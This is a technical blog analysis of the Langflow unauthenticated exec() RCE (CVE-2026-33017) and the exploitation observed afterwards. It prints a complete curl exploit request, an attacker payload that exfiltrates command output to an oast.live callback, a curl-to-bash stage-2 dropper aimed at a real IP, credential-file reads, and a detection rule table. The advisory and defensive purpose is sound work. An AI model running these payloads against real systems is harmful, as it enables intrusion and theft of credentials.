CVE-2026-33017: When Your AI Pipeline Becomes the Attack Surface
A technical deep-dive into the Langflow unauthenticated RCE that went from disclosure to exploitation in 20 hours.
So grab your coffee—this one’s important. We need to talk about what happened with Langflow in March 2026, because it’s a masterclass in how AI infrastructure is becoming the new frontier for attackers. It’s also a stark reminder that the old playbook for securing web applications doesn’t quite cut it when your attack surface includes a Python exec() call.
What Langflow Is (And Why Attackers Care)
If you’ve spent time in the AI engineering space, you’ve probably come across Langflow. With over 145,000 GitHub stars, it’s become the go-to open-source platform for building AI workflows visually. Think drag-and-drop interface where you wire together language models, vector databases, APIs, and custom logic into pipelines—without writing much actual code.
The promise is compelling: let data scientists and product teams build chatbots, RAG (Retrieval-Augmented Generation) pipelines, and AI agents through a visual canvas. They drag components onto a graph, connect them with edges, and Langflow handles the execution. It’s Python under the hood, fully customizable, and integrates with just about every LLM provider and vector store you can name.
Here’s why that matters to attackers: Langflow instances are treasure troves.
When you deploy Langflow in production, you’re configuring it with OpenAI API keys, Anthropic credentials, database connection strings, AWS tokens, and internal service endpoints. The platform sits at the intersection of your AI stack and your broader infrastructure. Compromise one Langflow instance, and you’ve got lateral movement pathways into cloud accounts, data stores, and potentially your entire ML pipeline.
There’s also a feature called public flows. You build a workflow, mark it public, and share a link. Anyone with that link can interact with your AI application—chat with the bot, query the RAG pipeline—without logging in. It’s how most Langflow-powered chatbots work in production.
For public flows to function, the endpoint that builds and executes them can’t require authentication. That’s by design. The problem? That endpoint accepted more than anyone anticipated.
The exec() Problem: Technical Breakdown
Let me walk you through the vulnerability. If you’re not deep into Python security, exec() is a built-in function that dynamically executes Python code passed as a string. It’s powerful, flexible, and when you feed it untrusted input without sandboxing, it’s catastrophic security-wise.
The Code Path
The vulnerability lived in the public flow build endpoint at:
POST /api/v1/build_public_tmp/{flow_id}/flow
Aviral Srivastava, the security researcher who discovered this, was reading through src/backend/base/langflow/api/v1/chat.py when he noticed something interesting. Let’s compare two endpoints side by side:
Authenticated endpoint (line 138):
@router.post("/build/{flow_id}/flow")
async def build_flow(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
current_user: CurrentActiveUser, # <-- AUTH REQUIRED
...
):
Public endpoint (line 580):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
request: Request,
# No current_user dependency. No auth at all.
):
Both accept an optional data parameter. Both feed it into the same graph building pipeline. One requires authentication; the other doesn’t.
Here’s the critical detail: when data is None, the endpoint loads the flow definition from the database—the flow that an authenticated user saved through the UI. Safe, expected behavior.
When data is provided, the endpoint uses the caller’s flow definition instead. On the authenticated endpoint, this lets a logged-in user test a modified flow without saving it first. Convenient for iteration. But the public endpoint accepts it too, with no authentication gate.
The Execution Chain
A Langflow flow definition is JSON containing nodes. Each node has a template with a code field defining the component’s behavior. Under normal operation, authenticated users write this code through the visual editor.
When the server builds a flow, here’s what happens:
- Attacker’s
dataarrives atstart_flow_build()→ flows intogenerate_flow_events() - That calls
create_graph()→ callsbuild_graph_from_data()with the raw payload Graph.from_payload()parses the attacker’s nodes- Graph builder iterates through them, calling
vertex.instantiate_component()for each - That calls
instantiate_class()→ extracts thecodefield from the node’s template - Code passes to
eval_custom_component_code()→ callscreate_class()→ callsprepare_global_scope()
And in prepare_global_scope(), at line 397 of validate.py:
exec(compiled_code, exec_globals)
No sandbox. No restrictions on imports. Full access to the Python runtime. The exec_globals dictionary initializes from globals().copy(), meaning the executed code has access to everything the server process has access to.
There’s a subtle detail that makes this worse: prepare_global_scope() doesn’t just execute class and function definitions. It also executes ast.Assign nodes. That means a line like:
_x = os.system("id")
…is an assignment, and it gets executed during the graph building phase. The attacker’s code runs before the flow even “starts.” No need for the flow to complete successfully—damage is done during component instantiation.
The Attack Chain: Exploitation Walkthrough
The exploit is elegant in its simplicity. A single HTTP POST request. No authentication headers. No API keys. Just a client_id cookie set to any string and a JSON body containing a malicious flow definition.
curl -X POST "http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"value": "import os\n_x = os.popen(\"id\").read()\nopen(\"/tmp/pwned\",\"w\").write(_x)\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code"
},
"_type": "Component"
},
"base_classes": ["Data"],
"display_name": "ExploitComp"
}
}
}],
"edges": []
}
}'
Two seconds later, /tmp/pwned contains the output of id. Full RCE. No credentials required.
The only prerequisite is knowing the UUID of a public flow on the target instance. These are discoverable through shared chatbot links. And when AUTO_LOGIN=true (the default), even that prerequisite disappears—the attacker can call /api/v1/auto_login to get a superuser token and create a public flow themselves.
What the Attacker Gets
Once they have RCE, the implications compound rapidly:
- Environment variables are readable: API keys for OpenAI, Anthropic, database credentials, cloud tokens, internal service URLs
- Full filesystem access: Every file on the server is readable and writable
- Data exfiltration: The entire database, flow definitions (which can be modified to inject backdoors), configuration files
- Lateral movement: Reverse shells are trivial—establish a persistent connection, pivot into the rest of the network
For context: the previous Langflow RCE (CVE-2025-3248) made it onto CISA’s Known Exploited Vulnerabilities list and was actively used by botnets. CVE-2026-33017 is the same severity class on the same codebase.
The Real-World Exploitation Timeline
Here’s where it gets sobering.
| Time (UTC) | Event |
|---|---|
| Mar 17, 20:05 | Advisory GHSA-vwmf-pq79-vjvx published on GitHub |
| Mar 18, 16:04 | First exploitation attempt observed (from 77.110.106.154) |
| Mar 18, 16:05 | Second attacker (209.97.165.247) begins probing |
| Mar 18, 16:39 | Sustained scanning begins across multiple nodes |
| Mar 18, 20:55 | First advanced attacker progresses to environment variable exfiltration |
20 hours from advisory to exploitation.
No public proof-of-concept code existed at the time. The advisory contained enough detail—endpoint path, mechanism for code injection via flow node definitions—that attackers built working exploits from the description alone.
What Attackers Did
The Sysdig Threat Research Team deployed honeypot nodes and documented a clear progression:
Phase 1: Automated Scanning (hours 20-21)
The earliest exploitation came from automated infrastructure. Four source IPs arrived within minutes, all sending identical payloads:
_r = __import__('os').popen('id').read()
_enc = __import__('base64').b64encode(_r.encode()).decode()
__import__('urllib.request').request.urlopen('http://<unique-subdomain>.oast.live/' + _enc)
Execute id, base64-encode the output, exfiltrate to an interactsh callback server. These requests identified as nuclei scans—headers like Cookie: client_id=nuclei-scanner, flow names like nuclei-cve-2026-33017. A privately authored nuclei template was deployed at scale within hours of disclosure.
Phase 2: Custom Exploit Scripts (hours 21-24)
Second wave: attackers using custom Python scripts (python-requests/2.32.3, consistent User-Agent, no rotation). One operator (83.98.164.238) progressed methodically:
- Directory listing and credential files:
ls -al /root; ls /app; cat /etc/passwd - System fingerprint:
id(returneduid=1000(langflow)) - Stage-2 delivery:
bash -c "$(curl -fsSL http://173.212.205.251:8443/z)"
The stage-2 dropper URL indicates pre-staged infrastructure. This wasn’t ad-hoc testing—it was an attacker with a prepared toolkit moving from validation to payload deployment in a single session.
Phase 3: Data Harvesting (hours 24-30)
The most sophisticated activity came from IP 173.212.205.251—thorough credential harvesting:
- Environment variable dump: Captured database connection strings, API keys, cloud credentials
- File system enumeration:
find /app -name "*.db" -o -name "*.env" - Targeted file reads: Extracted
.envfiles containing application secrets
Two source IPs exfiltrated data to the same C2 server (143.110.183.86:8080). The stage-2 dropper was hosted on 173.212.205.251:8443. Shared infrastructure—one operator working through multiple proxies.
Why This Vulnerability Was Attractive
Several factors made CVE-2026-33017 a priority target:
- No authentication required: Public endpoint by design—mass scanning is trivially automated
- Simple exploitation: Single HTTP POST with JSON payload—no multi-step chains, no session management, no CSRF tokens
- Massive attack surface: 145,000+ GitHub stars translates to thousands of exposed instances, many deployed by data science teams outside standard security review
- High-value targets: Langflow instances are configured with credentials for LLM providers and cloud accounts
Not an Isolated Incident: The Broader Pattern
CVE-2026-33017 wasn’t Langflow’s first exec() vulnerability, and that’s the point.
CVE-2025-3248, disclosed in early 2025, was nearly identical in mechanism. The /api/v1/validate/code endpoint accepted arbitrary Python and passed it to exec() without authentication. CISA added it to the Known Exploited Vulnerabilities catalog in May 2025. Botnets used it to deploy Flodrix, a DDoS capability descended from LeetHozer malware. MuddyWater, an Iranian state-sponsored group, leveraged it for initial network access.
The fix? Add authentication to the code validation endpoint. Done.
But the underlying exec() mechanism was never modified. The unsandboxed execution remained available to authenticated users—and as it turned out, to unauthenticated users through a different endpoint.
This is the pattern: A vulnerability gets fixed on one endpoint, but the same dangerous behavior exists on a parallel endpoint nobody audited.
CSA’s AI Safety Initiative put it well: “The platform’s design relies on dynamic code execution—exec()—to handle custom Python components, and this capability has been repeatedly accessible to unauthenticated or minimally authorized users through different endpoints across multiple releases.”
CVE-2026-34291 (CVSS 9.4) chained a CORS misconfiguration with the code execution path for account takeover and RCE. CVE-2026-27493 (CVSS 9.5) enabled unauthenticated expression injection through Form nodes.
The remediation for CVE-2025-3248 closed one door while leaving another open. CVE-2026-33017’s fix—removing the data parameter from the public endpoint entirely—was the right architectural decision, but one that came only after the pattern repeated.
Securing AI/ML Infrastructure: What We Need to Learn
If you’re building or deploying AI infrastructure, here’s the hard truth: the vulnerability lifecycle has collapsed.
The Zero Day Clock project tracks time-to-exploit across 83,000+ CVEs. In 2018, the median was 771 days. By 2023, 44% of exploited vulnerabilities were weaponized within 24 hours of disclosure, and 80% of public exploits appeared before the official advisory. The median organizational patch cycle is ~20 days. The math doesn’t work.
Immediate Actions for Langflow Deployments
- Update immediately to version 1.9.0 or later
- Audit environment variables and secrets on any exposed instance—rotate API keys, database passwords, cloud credentials
- Monitor for outbound connections to unusual ports or known callback services (oastify.com, interact.sh, dnslog.cn)
- Restrict network access using firewall rules or reverse proxy with authentication—Langflow should never be directly internet-exposed
- Inventory your AI/ML tooling—platforms like Langflow, n8n, and other workflow automation tools are increasingly targeted because they often run with broad API access and sit outside standard security review
Broader Security Principles for AI Pipelines
Audit every code path to exec() or eval()
When a vulnerability gets fixed, search for the same pattern everywhere else. The authenticated build endpoint at line 138 and the public build endpoint at line 580 accepted the same data parameter, fed it to the same pipeline. One required auth; the other didn’t. That gap was the vulnerability.
Runtime detection as primary defense
When the patch window is hours, you can’t rely on scheduled patch cycles. Tools like Falco detect exploitation behavior at the system call level:
| Attack Stage | Observed Behavior | Detection Rule |
|---|---|---|
| Credential theft | Reading /etc/passwd, .env | Read sensitive file untrusted |
| OOB validation | DNS lookup to .oast.live | DNS Lookup for Offensive Tool Domain |
| Stage-2 delivery | curl -fsSL http://attacker/z | sh | Inline Shell Execution by Wget/Curl |
| C2 exfiltration | Outbound connection to C2 server | Outbound Connection to C2 Servers |
These rules don’t require a signature for a specific CVE—they detect the exploitation behavior.
Recognize that AI tooling is now critical infrastructure
Langflow, n8n, MetaGPT, LangChain, AutoGen—these platforms treat code execution as a feature. They’re legitimate tools that enable powerful workflows. But they also introduce attack surfaces that traditional web application security wasn’t designed to handle.
CVE-2026-33017 is not just a Langflow problem. It’s a preview of what happens when dynamic code execution meets internet-exposed endpoints meets high-value credential stores.
Closing Thoughts
Twenty hours. That’s how long it took from advisory publication to active exploitation in the wild.
The researcher who discovered CVE-2026-33017, Aviral Srivastava, had this advice: “If you’ve fixed a vulnerability in your codebase before, go back and check whether the same pattern exists somewhere else. The first fix is rarely the last one needed.”
That’s the lesson. Langflow’s maintainers fixed CVE-2025-3248 correctly—they added authentication to an endpoint that shouldn’t have been public. But nobody traced the same dangerous code path to the public flow endpoint, which by design couldn’t simply be locked down.
AI infrastructure is being deployed at breakneck speed, often by teams focused on capability and not security. These platforms handle credentials that open doors across organizations. Attackers have noticed.
The window between “vulnerability disclosed” and “active exploitation” is now measured in hours. Defenders need approaches that match that tempo.
References:
– GHSA-vwmf-pq79-vjvx (GitHub Security Advisory)
– CVE-2026-33017 (NVD)
– Sysdig Threat Research Team analysis
– Cloud Security Alliance research note
– CISA Known Exploited Vulnerabilities Catalog
